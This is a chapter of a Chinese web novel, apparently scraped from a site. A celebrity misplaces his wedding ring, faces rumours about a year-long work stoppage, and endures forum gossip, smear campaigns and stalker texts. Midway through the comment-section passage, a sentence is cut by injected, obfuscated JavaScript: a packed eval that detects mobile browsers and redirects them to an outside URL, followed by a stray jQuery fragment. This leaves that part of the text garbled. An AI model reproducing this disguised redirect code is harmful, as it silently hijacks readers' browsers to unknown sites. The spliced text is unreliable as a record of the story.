昨天到最后，卧室根本睡不了人，两人转移阵地。
第二天早上。
迟铎是迷迷糊糊醒的，脑子还没开机，人先飘进浴室。水一开，热气漫上来，他低头抹了把脸。
指尖一空。
无名指上那点夸张的重量没了。
迟铎：“……？”
他盯着自己的手看了两秒，确认昨晚那颗闪得晃眼的大鸡蛋，没了。
迟铎彻底清醒。
第一反应：完了。
第二反应：不可能。
第三反应：什么时候？
他视线飞快扫过洗手台、地面、毛巾架，一无所获。
迟铎的目光一点点移向下水口。
脑子里立刻开始自导自演：戒指滑落，被水一冲，“咕咚”一声。
戒指与下水道，你是风儿我是沙，缠缠绵绵到天涯。
迟铎心一凉，呼吸都卡了一下。下一秒他又强行把自己拉回来：
……不至于。
这么大一颗，怎么可能说没就没。买这么大的唯一好处，就是它掉不进下水道。
可他真的一点印象也没。
迟铎越想越心虚，干脆关了水，蹲下去盯着下水口看。看得像要跟它谈判，能不能把戒指吐出来。
浴室门被推开。
裴与驰站在门口，穿得很休闲，单手插兜。他看了迟铎一眼，没多问，只开口：
“找什么。”
迟铎抬头，脸色很差：“戒指不见了。”
裴与驰停了半秒，语气很冷静：“在床头。”
迟铎：“……？”
裴与驰走近，视线落在他空着的那根手指上，语气淡淡的：
“昨晚硌得我背疼。”
“你睡着了，我给你摘了。”
迟铎：“…………”
他脑子空白了两秒。某些画面却偏偏在这时候清晰得要命。
好几个瞬间，他抓着不放，指节发白；裴与驰背脊绷紧，低低吸气。
迟铎耳尖“轰”一下热起来，尴尬得想钻进下水道。他硬撑着把脸别开，冷冷丢出一句：
“怪谁？”
裴与驰看了他一眼，神色一本正经，洗耳恭听：“怪谁？”
迟铎：“……”
他咬牙，索性把锅甩到底：“谁买这么大凶器回来。”
裴与驰没反驳，只慢条斯理地下结论：“不妨碍你用得很熟练。”
迟铎：“…………”
他面无表情。
行。
昨天那点浪漫如昙花一现，哥们现在回归正常发挥。
迟铎起身就走，无视旁边的男人，直接回到卧室。
床头柜上，戒指盒端端正正摆着。迟铎把盒盖掀开一条缝，粉钻在晨光里闪了一下，依旧晃眼睛，依旧丑得很嚣张。
他面无表情把盒盖扣得严严实实，扔进保险柜里。
凶器入库。
吵架备用。
这边新婚燕尔，蜜里调油，鸡飞狗跳。
日子一晃，那边，长期停工的风声还是慢慢漏了出去，先漏到圈内，再漏到合作方耳朵里。
停工停了一阵子，工作室微博却一直秘不发丧。
王平柔的手机一天能热到烫手。
合作方打来问迟铎近况，话术礼貌又客气：
“关心一下我们亲亲代言人身体。”
“调整期大概需要多久？”
“方便的话给个方向，我们好内部排期。”
王平柔师从张三丰，太极打得四平八稳。她把每句话都在舌尖捋一遍，回得滴水不漏，既不敷衍，也不显心虚：
“他状态挺好。”
“该完成的会完成，有变动会提前沟通。”
“谢谢理解。”
一套阴阳组合拳下来，对面也摸不清迟铎未来的安排，只能先观望。
挂断电话，王平柔盯着屏幕两秒，差点就想撂担子。
下一秒又想起宝爸那笔高额奖金。
……算了。
拿人钱财，替人消灾。
毕竟她才预约了新一代的超声刀和热玛吉，热超联合，做美丽女人。
合作方暂时被稳住，但不妨碍7788组先嗅到味儿。
【讨论贴】玉米棒疑似跑路？
主楼说得含糊：“有点渠道，最近被暗示过他要休很久。具体多久不说，但听着像一年起。”
“一年起”这三个字一出来，楼跟炸油锅一样。
【1L】一年？这不是休息，这是直接退圈吧。娱乐圈还能gap？以为还在大英读大学？
【2L】我刷到行程全空+工作室装死，还以为是拖欠工资工作人员摆烂。结果是出事？
【3L】一年这么精准，避风头呗。违约/出轨/德州/交通事故/陪产，自己选。
【4L】楼上别这么恨，万一就是身体扛不住呢？许愿反弹到你蒸煮哈。
【5L】多粉别太夸张，u1s1，他曝光度也就那样吧，行程能有多满？一年一戏一影都够呛。
【6L】行程不满也能停工啊，搞出人命要陪产懂不懂。综艺片场天天躲保姆车里陪怀孕的嫂子呢。
【7L】……你这话也太具体了吧？你是阿杜吗？天天在人家车底？
【8L】lss讲得也不是没可能。我听代拍说，综艺后期他确实排场很大，车换了，身边跟人，不太好接近。
【9L】这不就是傍上富婆不想努力了？不然干嘛突然这么金贵。
【10L】xswl，迟铎需要傍富婆？换车躲你们这群私生和代拍看不懂吗？
【11L】他爷爷都退多久了？他爸也没看出来事业如日中天的样子。真有背景还出来当戏子？
【12L】那之前那些资源咖黑通稿说他欺负小糊豆、抢戏份怎么回事？现在又开始他家人走茶凉、无背景无资源了？
【13L】他家地位永远是薛定谔的弹簧，该长的时候长，该短的时候短。主要看黑他的角度。
【14L】一年？男的也不是不能生……（认真）
【15L】楼上你是把生物书当餐巾纸擦嘴了吗？
【16L】14L建议截图留存。以后有些腐尸再来贴脸，直接甩这张图证明小脑发育情况。
……
楼从停工歪到退圈，又歪到翻车、富婆、陪产，最后歪进猎奇小说。
每个人都想给迟铎的人生写两行批注，上赶着当脂砚斋，恨不得把他后半辈子也替他补完，还必须按他们的版本来。
瓜很快出组，传播速度飞升，而工作室微博依旧安静。
不回应，就是给所有猜测开绿灯。
粉圈先动起来。数据组发了群公告，先暂时全部禁言：
禁止发表任何“嫂子/怀孕/富婆/赘婿”相关内容，违者踢。
工作室未给口径，先按最坏情况走：控评、反黑、举报。
统一模板：健康第一 / 尊重决定 / 拒绝造谣。
大家一边复制粘贴，一边在心里问：他是不是不要我们了？
对家那边倒是开心得很。真空期就是流言最肥的温床。趁工作室没发声，路人小号吃瓜安排上；黑热搜标题拟好，按点冲榜。
第二天中午，文娱热搜榜，迟铎直接包场。
#迟铎耍大牌#
#迟铎停工一年#
#迟铎工作室装死#
#迟铎退圈#
#富婆迟铎陪产#
#迟铎失德艺人#
词条里全是“知情爆料”，口吻整齐得像流水线，一眼AI生成，还挑了个最省token的。
【爆料】拍完直奔保姆车，与同事零交流，疑似嫂子怀孕情绪不稳，男方全程哄。
【爆料】停工一年不是休养，是避风头。
【爆料】品牌方已开始内部评估，或将切割。
旧路透被翻出来，旧得发黄，也能剪成新瓜。
代拍贴脸挨了反击，被写成耍大牌；不回应那些无中生有的黑料，被写成“心虚”；紧跟着停工的消息一出，又顺手被写成退圈。
你只要沉默，就会有人替你配音，还嫌你不够配合。
尽管没有任何证据，本人也没发声，但事情发酵到这个地步，品牌和合作方已经不得不提前启动预警公关。
客服回复统一：“正在了解。”
官微全部一键防护，评论区干净得只剩一句：该内容因违规已被隐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943332|191384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏。
数据组的公告终究稳不住军心。口径能控评论，控不住情绪。
粉圈内部很快四分五裂。表面还在统一话术刷屏，私下互关小号已经在好友圈互掐、发泄、割席。
事业粉骂他停得不负责：你不工作，我们拿什么打脸？
梦女粉骂他不解释：你不说清楚，我凭什么替你圆？
极端粉更直接，拿命当筹码，逼他出来表态。
每个人都觉得自己是受害者，委屈喊得震天响。
迟铎必须变成一个360度光滑的陀螺，才能在他们写好的剧本里不停旋转，还得保证每一面都讨人喜欢。
真心也有，只是不多。挤在角落里，没人转发。
因为它不够抓马，却足够尊重本人，所以不太符合传播学。
电影小组多了一个记录贴。
“如果他真停一年，我只希望回来那天，他还能站在镜头前。”
回复不多，却很动人。
“他不欠我们解释，他欠自己下一部戏。”
“停一年可惜，但硬撑出来更可惜。”
这些文字安静得像一盏灯。灯很小，照不到热搜榜。
工作室依旧沉默。沉默像一块冰，把情绪压得更尖，尖到开始反噬到工作人员。
王平柔评论区沦陷，人身攻击与黄谣齐飞。
李浩更惨，“fw”帽子扣得严严实实，染黄毛也成了工作不利的证据。
迟铎也收到了私生短信。
他点开那一瞬间，先看到的不是内容，是开头那句：“我蹲了你家半个月。”
他盯着那句话，胃里一阵泛恶心。
清水崇应该把《伽椰子归来》安排在他家拍。迟铎想。
后面的内容像一整套剧本，连结局都替他写好了：
“车换了，司机也换了，你也不回原来的家。”
“你不住那了。”
“她怀了吧？”
“富婆怀了你的孩子，所以你才停工一年。”
“你当赘婿当得开心吗？”
“嫂子情绪稳定吗？怀孕的人脾气都大。”
“你记得多顺着她一点。”
“不然你得搞百年计划才能三代还宗哦。”
迟铎看完，只想问一句：你谁？
他指尖一动，拉黑，删除。动作快得像清垃圾邮件。
一天后，工作室终于发声，没有安抚，不带温度。
【迟铎工作室】
经与艺人本人沟通确认，迟铎将于完成现有工作后进入至少一年的停工调整期。
感谢理解。
“至少一年”四个字像油泼进火里。
粉圈彻底炸锅。推演、阴谋论、回踩、哭嚎全齐了，所有人都觉得自己离真相只差一句：你出来解释。
对家疯狂庆祝。截图、带节奏、搬运一条龙，恨不得把每个词条都擦亮点，生怕路人看不清。
竞品的经纪人也很快行动起来，挨个去敲迟铎那些还没到期的合作方，自报家门，递意向，留联系方式。
不急着成交，先把人名塞进对方备忘录里。等对方启动紧急预案时，能第一时间想起备用选项。
热搜越烧越高，然后像被人从上面直接掐断。
最毒的爆料先是“找不到了”。点进去：该内容因违反相关规定已无法查看。
再点另一个：该用户不存在。
没有长篇大论的澄清，也没有道歉。只有权限被终止。
热词一排排变灰，搜索自动截断。词条还挂着，但热度像被拧断：看得见火，摸不到温度。
营销号集体删帖、道歉、装死。删得干干净净，连“编辑记录”都不肯给人留一眼。
品牌方也很快跟上节奏：客服口径从“正在了解”切回“合作正常推进”，官微撤了一键防护，活动页重新上线。
广场仍然吵，但像隔着玻璃，嗡嗡的，不再刺耳。
吵的人终于发现，自己吵不出回声了。
所有人都在等迟铎发声。
他也不负众望，只发了三行：
【迟铎】
停工。
别骚扰工作人员。
骂我随便。
发完就下线。